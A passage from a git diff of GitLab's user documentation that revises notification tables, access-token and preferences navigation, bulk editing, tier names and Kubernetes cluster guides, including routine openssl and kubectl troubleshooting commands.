later](https://gitlab.com/gitlab-org/gitlab/-/issues/616), eligible +approvers are no longer notified for all the activities in their projects. To receive them they have +to change their user notification settings to **Watch** instead. + +The following table presents the events that generate notifications for issues, merge requests, and +epics: | Event | Sent to | |------------------------|---------| -| New issue | | +| Change milestone issue | Subscribers, participants mentioned, and Custom notification level with this event selected | +| Change milestone merge request | Subscribers, participants mentioned, and Custom notification level with this event selected | +| Close epic | | | Close issue | | -| Reassign issue | The above, plus the old assignee | -| Reopen issue | | +| Close merge request | | | Due issue | Participants and Custom notification level with this event selected | -| Change milestone issue | Subscribers, participants mentioned, and Custom notification level with this event selected | -| Remove milestone issue | Subscribers, participants mentioned, and Custom notification level with this event selected | +| Failed pipeline | The author of the pipeline | +| Fixed pipeline ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24309) in GitLab 13.1.) | The author of the pipeline. Enabled by default. | +| Merge merge request | | +| Merge when pipeline succeeds ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211961) in GitLab 13.4) | | +| New comment | Participants, Watchers, Subscribers, and Custom notification level with this event selected, plus anyone mentioned by `@username` in the comment, with notification level "Mention" or higher | +| New epic | | +| New issue | | | New merge request | | | Push to merge request | Participants and Custom notification level with this event selected | -| Reassign merge request | The above, plus the old assignee | -| Close merge request | | -| Reopen merge request | | -| Merge merge request | | -| Merge when pipeline succeeds ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211961) in GitLab 13.4) | | -| Change milestone merge request | Subscribers, participants mentioned, and Custom notification level with this event selected | +| Reassign issue | Participants, Watchers, Subscribers, and Custom notification level with this event selected, plus the old assignee | +| Reassign merge request | Participants, Watchers, Subscribers, and Custom notification level with this event selected, plus the old assignee | +| Remove milestone issue | Subscribers, participants mentioned, and Custom notification level with this event selected | | Remove milestone merge request | Subscribers, participants mentioned, and Custom notification level with this event selected | -| New comment | The above, plus anyone mentioned by `@username` in the comment, with notification level "Mention" or higher | -| Failed pipeline | The author of the pipeline | -| Fixed pipeline | The author of the pipeline. Enabled by default. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24309) in GitLab 13.1. | +| Reopen epic | | +| Reopen issue | | +| Reopen merge request | | | Successful pipeline | The author of the pipeline, if they have the custom notification setting for successful pipelines set. If the pipeline failed previously, a `Fixed pipeline` message is sent for the first successful pipeline after the failure, then a `Successful pipeline` message for any further successful pipelines. | -| New epic **(ULTIMATE)** | | -| Close epic **(ULTIMATE)** | | -| Reopen epic **(ULTIMATE)** | | -In addition, if the title or description of an Issue or Merge Request is +If the title or description of an issue or merge request is changed, notifications are sent to any **new** mentions by `@username` as if they had been mentioned in the original text. diff --git a/doc/user/profile/personal_access_tokens.md b/doc/user/profile/personal_access_tokens.md index 49889cd3017..99db0c4b898 100644 --- a/doc/user/profile/personal_access_tokens.md +++ b/doc/user/profile/personal_access_tokens.md @@ -33,13 +33,14 @@ You can create as many personal access tokens as you like from your GitLab profile. 1. Sign in to GitLab. -1. In the upper-right corner, click your avatar and select **Settings**. -1. On the **User Settings** menu, select **Access Tokens**. +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the left sidebar, select **Access Tokens**. 1. Choose a name and optional expiry date for the token. 1. Choose the [desired scopes](#limiting-scopes-of-a-personal-access-token). -1. Click the **Create personal access token** button. +1. Select **Create personal access token**. 1. Save the personal access token somewhere safe. If you navigate away or refresh -your page, and you did not save the token, you must create a new one. + your page, and you did not save the token, you must create a new one. ### Revoking a personal access token diff --git a/doc/user/profile/preferences.md b/doc/user/profile/preferences.md index af7bfb80cac..464edf13a7e 100644 --- a/doc/user/profile/preferences.md +++ b/doc/user/profile/preferences.md @@ -12,9 +12,8 @@ of GitLab to their liking. To navigate to your profile's preferences: -1. Click your avatar. -1. Select **Settings**. -1. Click **Preferences** in the sidebar. +1. In the top-right corner, select your avatar. +1. Select **Preferences**. ## Navigation theme @@ -36,8 +35,7 @@ The default theme is Indigo. You can choose between 10 themes: - Light Red - Dark - Light - - +- [Dark Mode](#dark-mode) ## Dark mode @@ -47,7 +45,8 @@ GitLab has started work on dark mode! The dark mode Alpha release is available i spirit of iteration and the lower expectations of [Alpha versions](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha). -Progress on dark mode is tracked in the [Dark theme epic](https://gitlab.com/groups/gitlab-org/-/epics/2902). See the epic for: +Progress on dark mode is tracked in the [Dark theme epic](https://gitlab.com/groups/gitlab-org/-/epics/2902). +See the epic for: - A list of known issues. - Our planned direction and next steps. @@ -60,14 +59,15 @@ the future, we plan to make it configurable in its own section along with suppor [different navigation themes](https://gitlab.com/gitlab-org/gitlab/-/issues/219512). NOTE: -Dark theme currently only works with the 'Dark' syntax highlighting. +Dark theme only works with the **Dark** syntax highlighting theme. ## Syntax highlighting theme NOTE: GitLab uses the [rouge Ruby library](http://rouge.jneen.net/ "Rouge website") for syntax highlighting outside of any Editor context. The WebIDE (like Snippets) -uses [Monaco Editor](https://microsoft.github.io/monaco-editor/) and it's provided [Monarch](https://microsoft.github.io/monaco-editor/monarch.html) library for +uses [Monaco Editor](https://microsoft.github.io/monaco-editor/) and it's provided +[Monarch](https://microsoft.github.io/monaco-editor/monarch.html) library for syntax highlighting. For a list of supported languages, visit the documentation of the respective libraries. @@ -76,12 +76,16 @@ syntax highlighted code on GitLab. The default syntax theme is White, and you can choose among 5 different themes: +<!-- vale gitlab.Spelling = NO --> + - White - Dark - Solarized light - Solarized dark - Monokai +<!-- vale gitlab.Spelling = YES --> +  [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2389) in 13.0, the theme @@ -117,7 +121,7 @@ You have 8 options here that you can use for your default dashboard view: - Your projects' activity - Starred projects' activity - Your groups -- Your [to-dos](../todos.md) +- Your [To-Do List](../todos.md) - Assigned Issues - Assigned Merge Requests - Operations Dashboard **(PREMIUM)** diff --git a/doc/user/project/autocomplete_characters.md b/doc/user/project/autocomplete_characters.md index 1aa040c9cb8..8d8ff942d05 100644 --- a/doc/user/project/autocomplete_characters.md +++ b/doc/user/project/autocomplete_characters.md @@ -3,10 +3,12 @@ stage: Create group: Source Code info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference -description: "Autocomplete chars in Markdown fields." +description: "Autocomplete characters in Markdown fields." --- -# Autocomplete characters +# Autocomplete characters **(FREE)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36705) in GitLab 13.9: you can search using the full name in user autocomplete. The autocomplete characters provide a quick way of entering field values into Markdown fields. When you start typing a word in a Markdown field with one of @@ -57,4 +59,7 @@ If you continue to type, `@le`, the popup list changes to the following. The popup now only includes users where `le` appears in their username, or a word in their name. - + + +You can also search across the full name to find a user. +To find `Rosy Grant`, even if their username is for example `hunter2`, you can type their full name without spaces like `@rosygrant`. diff --git a/doc/user/project/badges.md b/doc/user/project/badges.md index f7bb88c33aa..7e6bba30001 100644 --- a/doc/user/project/badges.md +++ b/doc/user/project/badges.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, howto --- -# Badges +# Badges **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41174) in GitLab 10.7. diff --git a/doc/user/project/builds/artifacts.md b/doc/user/project/builds/artifacts.md deleted file mode 100644 index e7572b4ff1f..00000000000 --- a/doc/user/project/builds/artifacts.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../pipelines/job_artifacts.md' ---- - -This document was moved to [pipelines/job_artifacts](../pipelines/job_artifacts.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/bulk_editing.md b/doc/user/project/bulk_editing.md index a29c0754d31..d7e8133f9ad 100644 --- a/doc/user/project/bulk_editing.md +++ b/doc/user/project/bulk_editing.md @@ -14,27 +14,28 @@ For more details, see If you want to update attributes across multiple issues or merge requests, you can do it by bulk editing them, that is, editing them together. -NOTE: Only the items visible on the current page are selected for bulk editing (up to 20).  ## Bulk edit issues at the project level -NOTE: -You need a permission level of [Reporter or higher](../permissions.md) to manage issues. +> - Assigning epic ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210470) in GitLab 13.2. +> - Editing health status [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218395) in GitLab 13.2. +> - Editing iteration [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196806) in GitLab 13.9. + +Users with permission level of [Reporter or higher](../permissions.md) can manage issues. When bulk editing issues in a project, you can edit the following attributes: - Status (open/closed) - Assignee -- Epic ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210470) in - [GitLab Premium](https://about.gitlab.com/pricing/) 13.2.) **(PREMIUM)** -- Milestone -- Labels -- Health status ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218395) in - [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.2.) **(ULTIMATE)** -- Subscriptions +- [Epic](../group/epics/index.md) +- [Milestone](milestones/index.md) +- [Labels](labels.md) +- [Health status](issues/index.md#health-status) +- Notification subscription +- [Iteration](../group/iterations/index.md) To update multiple project issues at the same time: @@ -46,8 +47,7 @@ To update multiple project issues at the same time: ## Bulk edit merge requests at the project level -NOTE: -You need a permission level of [Developer or higher](../permissions.md) to manage merge requests. +Users with permission level of [Developer or higher](../permissions.md) can manage merge requests. When bulk editing merge requests in a project, you can edit the following attributes: diff --git a/doc/user/project/canary_deployments.md b/doc/user/project/canary_deployments.md index 85ac641f6e4..f7394093a3a 100644 --- a/doc/user/project/canary_deployments.md +++ b/doc/user/project/canary_deployments.md @@ -4,10 +4,10 @@ group: unassigned info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Canary Deployments **(CORE)** +# Canary Deployments **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1659) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.1. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212320) to GitLab Core in 13.8. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212320) to GitLab Free in 13.8. A popular [Continuous Deployment](https://en.wikipedia.org/wiki/Continuous_deployment) strategy, where a small portion of the fleet is updated to the new version of @@ -72,7 +72,7 @@ can easily notice them. ### Advanced traffic control with Canary Ingress > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215501) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.6. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212320) to Core in GitLab 13.8. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212320) to Free in GitLab 13.8. Canary deployments can be more strategic with [Canary Ingress](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/#canary), which is an advanced traffic routing service that controls incoming HTTP diff --git a/doc/user/project/ci_cd_for_external_repo.md b/doc/user/project/ci_cd_for_external_repo.md deleted file mode 100644 index 57747be3859..00000000000 --- a/doc/user/project/ci_cd_for_external_repo.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../ci/ci_cd_for_external_repos/index.md' ---- - -This document was moved to [another location](../../ci/ci_cd_for_external_repos/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/clusters/add_eks_clusters.md b/doc/user/project/clusters/add_eks_clusters.md index 9047e564598..eb6b8302667 100644 --- a/doc/user/project/clusters/add_eks_clusters.md +++ b/doc/user/project/clusters/add_eks_clusters.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Adding EKS clusters +# Adding EKS clusters **(FREE)** GitLab supports adding new and existing EKS clusters. @@ -20,7 +20,7 @@ requirements are met: - `kubectl` [installed and configured](https://docs.aws.amazon.com/eks/latest/userguide/getting-started.html#get-started-kubectl) for access to the EKS cluster. -### Additional requirements for self-managed instances **(CORE ONLY)** +### Additional requirements for self-managed instances **(FREE SELF)** If you are using a self-managed GitLab instance, GitLab must first be configured with a set of Amazon credentials. These credentials are used to assume an Amazon IAM role provided by the user diff --git a/doc/user/project/clusters/add_gke_clusters.md b/doc/user/project/clusters/add_gke_clusters.md index e3e6efc887f..af3a17dc60c 100644 --- a/doc/user/project/clusters/add_gke_clusters.md +++ b/doc/user/project/clusters/add_gke_clusters.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Adding GKE clusters +# Adding GKE clusters **(FREE)** GitLab supports adding new and existing GKE clusters. diff --git a/doc/user/project/clusters/add_remove_clusters.md b/doc/user/project/clusters/add_remove_clusters.md index beb8b71b917..718c60ccf0e 100644 --- a/doc/user/project/clusters/add_remove_clusters.md +++ b/doc/user/project/clusters/add_remove_clusters.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Adding and removing Kubernetes clusters +# Adding and removing Kubernetes clusters **(FREE)** GitLab offers integrated cluster creation for the following Kubernetes providers: @@ -40,7 +40,7 @@ Before [adding a Kubernetes cluster](#create-new-cluster) using GitLab, you need - [Maintainer access to a group](../../permissions.md#group-members-permissions) for a group-level cluster. - [Admin Area access](../../admin_area/index.md) for a self-managed instance-level - cluster. **(CORE ONLY)** + cluster. **(FREE SELF)** ## Access controls @@ -387,3 +387,13 @@ If you encounter this error while adding a Kubernetes cluster, ensure you're properly pasting the service token. Some shells may add a line break to the service token, making it invalid. Ensure that there are no line breaks by pasting your token into an editor and removing any additional spaces. + +You may also experience this error if your certificate is not valid. To check that your certificate's +subject alternative names contain the correct domain for your cluster's API, run this: + +```shell +echo | openssl s_client -showcerts -connect kubernetes.example.com:443 2>/dev/null | +openssl x509 -inform pem -noout -text +``` + +Note that the `-connect` argument expects a `host:port` combination. For example, `https://kubernetes.example.com` would be `kubernetes.example.com:443`. diff --git a/doc/user/project/clusters/eks_and_gitlab/index.md b/doc/user/project/clusters/eks_and_gitlab/index.md deleted file mode 100644 index e38fbb871c1..00000000000 --- a/doc/user/project/clusters/eks_and_gitlab/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../add_eks_clusters.md#existing-eks-cluster' ---- - -This document was moved to [another location](../add_eks_clusters.md#existing-eks-cluster). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/clusters/index.md b/doc/user/project/clusters/index.md index a06846e33a6..d3d434762ab 100644 --- a/doc/user/project/clusters/index.md +++ b/doc/user/project/clusters/index.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Kubernetes clusters +# Kubernetes clusters **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/35954) in GitLab 10.1 for projects. > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/34758) in @@ -33,8 +33,10 @@ integrated at the [group level](../../group/clusters/index.md) or To view your project level Kubernetes clusters, navigate to **Operations > Kubernetes** from your project. On this page, you can [add a new cluster](#adding-and-removing-clusters) -and view information about your existing clusters, such as nodes count and rough estimates -of memory and CPU usage. +and view information about your existing clusters, such as: + +- Nodes count. +- Rough estimates of memory and CPU usage. ## Setting up @@ -72,13 +74,12 @@ to: ### Multiple Kubernetes clusters > - Introduced in [GitLab Premium](https://about.gitlab.com/pricing/) 10.3 -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35094) to GitLab Core in 13.2. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35094) to GitLab Free in 13.2. You can associate more than one Kubernetes cluster to your project. That way you can have different clusters for different environments, -like dev, staging, production, and so on. - -Simply add another cluster, like you did the first time, and make sure to +like development, staging, production, and so on. +Add another cluster, like you did the first time, and make sure to [set an environment scope](#setting-the-environment-scope) that differentiates the new cluster from the rest. @@ -86,7 +87,7 @@ differentiates the new cluster from the rest. When adding more than one Kubernetes cluster to your project, you need to differentiate them with an environment scope. The environment scope associates clusters with [environments](../../../ci/environments/index.md) similar to how the -[environment-specific variables](../../../ci/variables/README.md#limit-the-environment-scopes-of-environment-variables) work. +[environment-specific variables](../../../ci/variables/README.md#limit-the-environment-scopes-of-cicd-variables) work. The default environment scope is `*`, which means all jobs, regardless of their environment, use that cluster. Each scope can be used only by a single cluster @@ -165,7 +166,7 @@ details about the created resources. If you choose to manage your own cluster, project-specific resources aren't created automatically. If you are using [Auto DevOps](../../../topics/autodevops/index.md), you must explicitly provide the `KUBE_NAMESPACE` [deployment variable](#deployment-variables) -for your deployment jobs to use; otherwise a namespace is created for you. +for your deployment jobs to use. Otherwise, a namespace is created for you. #### Important notes @@ -182,10 +183,10 @@ Note the following with GitLab and clusters: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31759) in GitLab 12.6. -If you choose to allow GitLab to manage your cluster for you, GitLab stores a cached +If you allow GitLab to manage your cluster, GitLab stores a cached version of the namespaces and service accounts it creates for your projects. If you modify these resources in your cluster manually, this cache can fall out of sync with -your cluster, which can cause deployment jobs to fail. +your cluster. This can cause deployment jobs to fail. To clear the cache: @@ -204,12 +205,61 @@ Specifying a base domain automatically sets `KUBE_INGRESS_BASE_DOMAIN` as an env If you are using [Auto DevOps](../../../topics/autodevops/index.md), this domain is used for the different stages. For example, Auto Review Apps and Auto Deploy. -The domain should have a wildcard DNS configured to the Ingress IP address. After Ingress has been installed (see [Installing Applications](#installing-applications)), +The domain should have a wildcard DNS configured to the Ingress IP address. +After Ingress has been installed (see [Installing Applications](#installing-applications)), you can either: - Create an `A` record that points to the Ingress IP address with your domain provider. - Enter a wildcard DNS address using a service such as nip.io or xip.io. For example, `192.168.1.1.xip.io`. +To determine the external Ingress IP address, or external Ingress hostname: + +- *If the cluster is on GKE*: + 1. Click the **Google Kubernetes Engine** link in the **Advanced settings**, + or go directly to the [Google Kubernetes Engine dashboard](https://console.cloud.google.com/kubernetes/). + 1. Select the proper project and cluster. + 1. Click **Connect** + 1. Execute the `gcloud` command in a local terminal or using the **Cloud Shell**. + +- *If the cluster is not on GKE*: Follow the specific instructions for your + Kubernetes provider to configure `kubectl` with the right credentials. + The output of the following examples show the external endpoint of your + cluster. This information can then be used to set up DNS entries and forwarding + rules that allow external access to your deployed applications. + +Depending an your Ingress, the external IP address can be retrieved in various ways. +This list provides a generic solution, and some GitLab-specific approaches: + +- In general, you can list the IP addresses of all load balancers by running: + + ```shell + kubectl get svc --all-namespaces -o jsonpath='{range.items[?(@.status.loadBalancer.ingress)]}{.status.loadBalancer.ingress[*].ip} ' + ``` + +- If you installed Ingress using the **Applications**, run: + + ```shell + kubectl get service --namespace=gitlab-managed-apps ingress-nginx-ingress-controller -o jsonpath='{.status.loadBalancer.ingress[0].ip}' + ``` + +- Some Kubernetes clusters return a hostname instead, like + [Amazon EKS](https://aws.amazon.com/eks/). For these platforms, run: + + ```shell + kubectl get service --namespace=gitlab-managed-apps ingress-nginx-ingress-controller -o jsonpath='{.status.loadBalancer.ingress[0].hostname}' + ``` + + If you use EKS, an [Elastic Load Balancer](https://docs.aws.amazon.com/elasticloadbalancing/) + is also created, which incurs additional AWS costs. + +- Istio/Knative uses a different command. Run: + + ```shell + kubectl get svc --namespace=istio-system istio-ingressgateway -o jsonpath='{.status.loadBalancer.ingress[0].ip} ' + ``` + +If you see a trailing `%` on some Kubernetes versions, do not include it. + ## Installing applications GitLab can install and manage some applications like Helm, GitLab Runner, Ingress, @@ -224,10 +274,10 @@ Auto DevOps automatically detects, builds, tests, deploys, and monitors your applications. To make full use of Auto DevOps (Auto Deploy, Auto Review Apps, and -Auto Monitoring) the Kubernetes project integration must be enabled, but +Auto Monitoring) the Kubernetes project integration must be enabled. However, Kubernetes clusters can be used without Auto DevOps. -[Read more about Auto DevOps](../../../topics/autodevops/index.md) +[Read more about Auto DevOps](../../../topics/autodevops/index.md). ## Deploying to a Kubernetes cluster @@ -239,7 +289,7 @@ A Kubernetes cluster can be the destination for a deployment job. If the cluster from your jobs using tools such as `kubectl` or `helm`. - You don't use the GitLab cluster integration, you can still deploy to your cluster. However, you must configure Kubernetes tools yourself - using [environment variables](../../../ci/variables/README.md#custom-environment-variables) + using [environment variables](../../../ci/variables/README.md#custom-cicd-variables) before you can interact with the cluster from your jobs. ### Deployment variables @@ -260,9 +310,9 @@ following command in your deployment job script, for Kubernetes to access the re kubectl create secret docker-registry gitlab-registry --docker-server="$CI_REGISTRY" --docker-username="$CI_DEPLOY_USER" --docker-password="$CI_DEPLOY_PASSWORD" --docker-email="$GITLAB_USER_EMAIL" -o yaml --dry-run | kubectl apply -f - ``` -The Kubernetes cluster integration exposes the following -[deployment variables](../../../ci/variables/README.md#deployment-environment-variables) in the -GitLab CI/CD build environment to deployment jobs, which are jobs that have +The Kubernetes cluster integration exposes these +[deployment variables](../../../ci/variables/README.md#deployment-variables) in the +GitLab CI/CD build environment to deployment jobs. Deployment jobs have [defined a target environment](../../../ci/environments/index.md#defining-environments). | Variable | Description | @@ -303,11 +353,11 @@ When you customize the namespace, existing environments remain linked to their c namespaces until you [clear the cluster cache](#clearing-the-cluster-cache). WARNING: -By default, anyone who can create a deployment job can access any CI variable within +By default, anyone who can create a deployment job can access any CI variable in an environment's deployment job. This includes `KUBECONFIG`, which gives access to any secret available to the associated service account in your cluster. To keep your production credentials safe, consider using -[Protected Environments](../../../ci/environments/protected_environments.md), +[protected environments](../../../ci/environments/protected_environments.md), combined with either - a GitLab-managed cluster and namespace per environment, @@ -327,8 +377,8 @@ the need to leave GitLab. #### Deploy Boards GitLab Deploy Boards offer a consolidated view of the current health and -status of each CI [environment](../../../ci/environments/index.md) running on Kubernetes, -displaying the status of the pods in the deployment. Developers and other +status of each CI [environment](../../../ci/environments/index.md) running on Kubernetes. +They display the status of the pods in the deployment. Developers and other teammates can view the progress and status of a rollout, pod by pod, in the workflow they already use without any need to access Kubernetes. @@ -336,7 +386,7 @@ workflow they already use without any need to access Kubernetes. #### Viewing pod logs -GitLab makes it easy to view the logs of running pods in connected Kubernetes +GitLab enables you to view the logs of running pods in connected Kubernetes clusters. By displaying the logs directly in GitLab, developers can avoid having to manage console tools or jump to a different interface. @@ -349,7 +399,7 @@ to manage console tools or jump to a different interface. When enabled, the Kubernetes integration adds [web terminal](../../../ci/environments/index.md#web-terminals) support to your [environments](../../../ci/environments/index.md). This is based on the `exec` functionality found in Docker and Kubernetes, so you get a new -shell session within your existing containers. To use this integration, you +shell session in your existing containers. To use this integration, you should deploy to Kubernetes using the deployment variables above, ensuring any deployments, replica sets, and pods are annotated with: @@ -402,7 +452,7 @@ Automatically detect and monitor Kubernetes metrics. Automatic monitoring of ### Visualizing cluster health > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/4701) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.6. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/208224) to GitLab Core in 13.2. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/208224) to GitLab Free in 13.2. When [Prometheus is deployed](#installing-applications), GitLab monitors the cluster's health. At the top of the cluster settings page, CPU and Memory utilization is displayed, along with the total amount available. Keeping an eye on cluster resources can be important, if the cluster runs out of memory pods may be shutdown or fail to start. diff --git a/doc/user/project/clusters/kubernetes_pod_logs.md b/doc/user/project/clusters/kubernetes_pod_logs.md index 2523dc3e0a2..349040e0bf6 100644 --- a/doc/user/project/clusters/kubernetes_pod_logs.md +++ b/doc/user/project/clusters/kubernetes_pod_logs.md @@ -4,10 +4,10 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Kubernetes Logs +# Kubernetes Logs **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4752) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.0. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26383) to [GitLab Core](https://about.gitlab.com/pricing/) 12.9. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26383) to [GitLab Free](https://about.gitlab.com/pricing/) 12.9. GitLab makes it easy to view the logs of running pods or managed applications in [connected Kubernetes clusters](index.md). By displaying the logs directly in GitLab diff --git a/doc/user/project/clusters/protect/container_network_security/index.md b/doc/user/project/clusters/protect/container_network_security/index.md index 8299844e511..a7cdd73acd7 100644 --- a/doc/user/project/clusters/protect/container_network_security/index.md +++ b/doc/user/project/clusters/protect/container_network_security/index.md @@ -28,10 +28,9 @@ chart. - GitLab managed installation of Cilium. - Support for L3, L4, and L7 policies. - Ability to export logs to a SIEM. -- Statistics page showing volume of packets processed and dropped over time (Gold/Ultimate users - only). +- Statistics page showing volume of packets processed and dropped over time (Ultimate users only). - Management of NetworkPolicies through code in a project (Available for auto DevOps users only). -- Management of CiliumNetworkPolicies through a UI policy manager (Gold/Ultimate users only). +- Management of CiliumNetworkPolicies through a UI policy manager (Ultimate users only). ## Supported container orchestrators diff --git a/doc/user/project/clusters/protect/container_network_security/quick_start_guide.md b/doc/user/project/clusters/protect/container_network_security/quick_start_guide.md index 10f9380a1f2..e530f0dfcda 100644 --- a/doc/user/project/clusters/protect/container_network_security/quick_start_guide.md +++ b/doc/user/project/clusters/protect/container_network_security/quick_start_guide.md @@ -46,11 +46,11 @@ Network Policies can be managed through GitLab in one of two ways: - Management through a YAML file in each application's project (for projects using Auto DevOps). For more information, see the [Network Policy documentation](../../../../../topics/autodevops/stages.md#network-policy). - Management through the GitLab Policy management UI (for projects not using Auto DevOps). For more - information, see the [Container Network Policy documentation](../../../../application_security/threat_monitoring/index.md#container-network-policy-management) (Ultimate/Gold only). + information, see the [Container Network Policy documentation](../../../../application_security/threat_monitoring/index.md#container-network-policy-management) (Ultimate only). Each method has benefits and drawbacks: -| | YAML method | UI method (Ultimate/Gold only) | +| | YAML method | UI method (Ultimate only) | |--|:------------|:-------------------------------| | **Benefits** | A change control process is possible by requiring [MR Approvals](../../../merge_requests/merge_request_approvals.md). All changes are fully tracked and audited in the same way that Git tracks the history of any file in its repository. | The UI provides a simple rules editor for users who are less familiar with the YAML syntax of NetworkPolicies. This view is a live representation of the policies currently deployed in the Kubernetes cluster. The UI also allows for multiple network policies to be created per environment. | | **Drawbacks** | Only one network policy can be deployed per environment (although that policy can be as detailed as needed). Also, if changes were made in Kubernetes directly rather than through the `auto-deploy-values.yaml` file, the YAML file's contents don't represent the actual state of policies deployed in Kubernetes. | Policy changes aren't audited and a change control process isn't available. | diff --git a/doc/user/project/clusters/protect/web_application_firewall/quick_start_guide.md b/doc/user/project/clusters/protect/web_application_firewall/quick_start_guide.md index e9a05b58fec..e7d8d591510 100644 --- a/doc/user/project/clusters/protect/web_application_firewall/quick_start_guide.md +++ b/doc/user/project/clusters/protect/web_application_firewall/quick_start_guide.md @@ -43,7 +43,7 @@ Google Kubernetes Engine integration. All you have to do is [follow this link](h ## Creating a new project from a template We use a GitLab project templates to get started. As the name suggests, -those projects provide a barebones application built on some well-known frameworks. +those projects provide a bare-bones application built on some well-known frameworks. 1. In GitLab, click the plus icon (**+**) at the top of the navigation bar and select **New project**. @@ -55,7 +55,7 @@ those projects provide a barebones application built on some well-known framewor 1. Give your project a name, optionally a description, and make it public so that you can take advantage of the features available in the - [GitLab Gold plan](https://about.gitlab.com/pricing/#gitlab-com). + [GitLab Ultimate plan](https://about.gitlab.com/pricing/).  diff --git a/doc/user/project/clusters/runbooks/index.md b/doc/user/project/clusters/runbooks/index.md index 8572ab850e4..7f344349984 100644 --- a/doc/user/project/clusters/runbooks/index.md +++ b/doc/user/project/clusters/runbooks/index.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Runbooks +# Runbooks **(FREE)** Runbooks are a collection of documented procedures that explain how to carry out a particular process, be it starting, stopping, debugging, diff --git a/doc/user/project/clusters/serverless/aws.md b/doc/user/project/clusters/serverless/aws.md index a52d3400aa2..192a7c7cd39 100644 --- a/doc/user/project/clusters/serverless/aws.md +++ b/doc/user/project/clusters/serverless/aws.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Deploying AWS Lambda function using GitLab CI/CD +# Deploying AWS Lambda function using GitLab CI/CD **(FREE)** GitLab allows users to easily deploy AWS Lambda functions and create rich serverless applications. @@ -25,7 +25,7 @@ Additionally, in the [How To section](#how-to), you can read about different use - Working with secrets. - Setting up CORS. -Alternatively, you can quickly [create a new project with a template](../../../../gitlab-basics/create-project.md#project-templates). The [`Serverless Framework/JS` template](https://gitlab.com/gitlab-org/project-templates/serverless-framework/) already includes all parts described below. +Alternatively, you can quickly [create a new project with a template](../../working_with_projects.md#create-a-project). The [`Serverless Framework/JS` template](https://gitlab.com/gitlab-org/project-templates/serverless-framework/) already includes all parts described below. ### Example @@ -74,7 +74,7 @@ Place this code in the file `src/handler.js`. In our case, `module.exports.hello` defines the `hello` handler to reference later in the `serverless.yml`. -You can learn more about the AWS Lambda Node.js function handler and all its various options here: 